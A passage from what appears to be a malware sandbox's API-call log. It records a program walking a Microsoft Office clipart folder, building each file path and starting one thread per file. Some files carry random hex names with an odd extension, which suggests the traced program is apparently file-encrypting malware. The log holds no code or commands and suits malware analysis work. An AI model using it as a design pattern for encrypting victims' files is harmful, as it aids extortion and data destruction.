Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.502] wcscat (in: _Dest=0x1b85cde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.502] wcscat (in: _Dest=0x1b85cde0, _Source="CG1606.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" [0120.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174 [0120.503] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0120.503] wcscmp (_String1="CLASSIC1.WMF", _String2=".") returned 1 [0120.503] wcscmp (_String1="CLASSIC1.WMF", _String2="..") returned 1 [0120.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cd50 [0120.503] wcscpy (in: _Dest=0x1b85cd50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.503] wcscat (in: _Dest=0x1b85cd50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.503] wcscat (in: _Dest=0x1b85cd50, _Source="CLASSIC1.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" [0120.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0120.504] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0120.504] wcscmp (_String1="CLASSIC2.WMF", _String2=".") returned 1 [0120.504] wcscmp (_String1="CLASSIC2.WMF", _String2="..") returned 1 [0120.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b640 [0120.504] wcscpy (in: _Dest=0x1b85b640, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.504] wcscat (in: _Dest=0x1b85b640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.504] wcscat (in: _Dest=0x1b85b640, _Source="CLASSIC2.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" [0120.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c [0120.505] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0120.505] wcscmp (_String1="CLIP.WMF", _String2=".") returned 1 [0120.505] wcscmp (_String1="CLIP.WMF", _String2="..") returned 1 [0120.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8668c0 [0120.505] wcscpy (in: _Dest=0x1b8668c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.505] wcscat (in: _Dest=0x1b8668c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.505] wcscat (in: _Dest=0x1b8668c0, _Source="CLIP.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" [0120.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8668c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168 [0120.506] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0120.506] wcscmp (_String1="CMNTY_01.MID", _String2=".") returned 1 [0120.506] wcscmp (_String1="CMNTY_01.MID", _String2="..") returned 1 [0120.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85ce70 [0120.506] wcscpy (in: _Dest=0x1b85ce70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.506] wcscat (in: _Dest=0x1b85ce70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.506] wcscat (in: _Dest=0x1b85ce70, _Source="CMNTY_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" [0120.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164 [0120.507] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0120.507] wcscmp (_String1="CRANE.WMF", _String2=".") returned 1 [0120.507] wcscmp (_String1="CRANE.WMF", _String2="..") returned 1 [0120.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85d020 [0120.507] wcscpy (in: _Dest=0x1b85d020, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.508] wcscat (in: _Dest=0x1b85d020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.508] wcscat (in: _Dest=0x1b85d020, _Source="CRANE.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" [0120.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c [0120.509] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0120.509] wcscmp (_String1="CRANINST.WMF", _String2=".") returned 1 [0120.509] wcscmp (_String1="CRANINST.WMF", _String2="..") returned 1 [0120.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d0b0 [0120.509] wcscpy (in: _Dest=0x1b85d0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.509] wcscat (in: _Dest=0x1b85d0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.509] wcscat (in: _Dest=0x1b85d0b0, _Source="CRANINST.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" [0120.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158 [0120.510] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0120.510] wcscmp (_String1="CUP.WMF", _String2=".") returned 1 [0120.510] wcscmp (_String1="CUP.WMF", _String2="..") returned 1 [0120.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b867040 [0120.510] wcscpy (in: _Dest=0x1b867040, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.511] wcscat (in: _Dest=0x1b867040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.511] wcscat (in: _Dest=0x1b867040, _Source="CUP.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" [0120.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154 [0120.529] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0120.529] wcscmp (_String1="CUPINST.WMF", _String2=".") returned 1 [0120.529] wcscmp (_String1="CUPINST.WMF", _String2="..") returned 1 [0120.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x2050b220 [0120.529] wcscpy (in: _Dest=0x2050b220, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.529] wcscat (in: _Dest=0x2050b220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.529] wcscat (in: _Dest=0x2050b220, _Source="CUPINST.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" [0120.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1500 [0120.530] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="d0bb1f55c3e3.2f9b60", cAlternateFileName="D0BB1F~1.2F9")) returned 1 [0120.530] wcscmp (_String1="d0bb1f55c3e3.2f9b60", _String2=".") returned 1 [0120.530] wcscmp (_String1="d0bb1f55c3e3.2f9b60", _String2="..") returned 1 [0120.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cbf0 [0120.530] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.530] wcscat (in: _Dest=0x4205cbf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.530] wcscat (in: _Dest=0x4205cbf0, _Source="d0bb1f55c3e3.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d0bb1f55c3e3.2f9b60" [0120.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c [0120.531] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x746, dwReserved0=0x0, dwReserved1=0x0, cFileName="d2cadce0edab.2f9b60", cAlternateFileName="D2CADC~1.2F9")) returned 1 [0120.531] wcscmp (_String1="d2cadce0edab.2f9b60", _String2=".") returned 1 [0120.531] wcscmp (_String1="d2cadce0edab.2f9b60", _String2="..") returned 1 [0120.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cab0 [0120.531] wcscpy (in: _Dest=0x4205cab0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.531] wcscat (in: _Dest=0x4205cab0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.531] wcscat (in: _Dest=0x4205cab0, _Source="d2cadce0edab.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60" [0120.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118 [0126.450] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2f7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d4e87f90ff9c.2f9b60", cAlternateFileName="D4E87F~1.2F9")) returned 1 [0126.450] wcscmp (_String1="d4e87f90ff9c.2f9b60", _String2=".") returned 1 [0126.450] wcscmp (_String1="d4e87f90ff9c.2f9b60", _String2="..") returned 1 [0126.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cc90 [0126.450] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0126.450] wcscat (in: _Dest=0x4205cc90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.451] wcscat (in: _Dest=0x4205cc90, _Source="d4e87f90ff9c.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d4e87f90ff9c.2f9b60" [0126.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cc90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0126.458] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="d7543e698864.2f9b60", cAlternateFileName="D7543E~1.2F9")) returned 1 [0126.458] wcscmp (_String1="d7543e698864.2f9b60", _String2=".") returned 1 [0126.458] wcscmp (_String1="d7543e698864.2f9b60", _String2="..") returned 1 [0126.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cd30 [0126.459] wcscpy (in: _Dest=0x4205cd30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0126.459] wcscat (in: _Dest=0x4205cd30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.459] wcscat (in: _Dest=0x4205cd30, _Source="d7543e698864.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7543e698864.2f9b60" [0126.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10a0 [0126.460] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb56, dwReserved0=0x0, dwReserved1=0x0, cFileName="d82a56eaea3d.2f9b60", cAlternateFileName="D82A56~1.2F9")) returned 1 [0126.460] wcscmp (_String1="d82a56eaea3d.2f9b60", _String2=".") returned 1 [0126.460] wcscmp (_String1="d82a56eaea3d.2f9b60", _String2="..") returned 1 [0126.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cdd0 [0126.460] wcscpy (in: _Dest=0x4205cdd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0126.460] wcscat (in: _Dest=0x4205cdd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.460] wcscat (in: _Dest=0x4205cdd0, _Source="d82a56eaea3d.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d82a56eaea3d.2f9b60" [0126.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cdd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048 [0126.461] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="dc37e48ae5a7.2f9b60", cAlternateFileName="DC37E4~1.2F9")) returned 1 [0126.461] wcscmp (_String1="dc37e48ae5a7.2f9b60", _String2=".") returned 1 [0126.461] wcscmp (_String1="dc37e48ae5a7.2f9b60", _String2="..") returned 1 [0126.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205d0f0 [0126.461] wcscpy (in: _Dest=0x4205d0f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0126.461] wcscat (in: _Dest=0x4205d0f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.461] wcscat (in: _Dest=0x4205d0f0, _Source="dc37e48ae5a7.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\dc37e48ae5a7.2f9b60" [0126.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c [0126.462] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0126.462] wcscmp (_String1="DD00117_.WMF", _String2=".") returned 1 [0126.462] wcscmp (_String1="DD00117_.WMF", _String2="..") returned 1 [0126.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cde0 [0126.462] wcscpy (in: _Dest=0x1b85cde0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0126.462] wcscat (in: _Dest=0x1b85cde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.463] 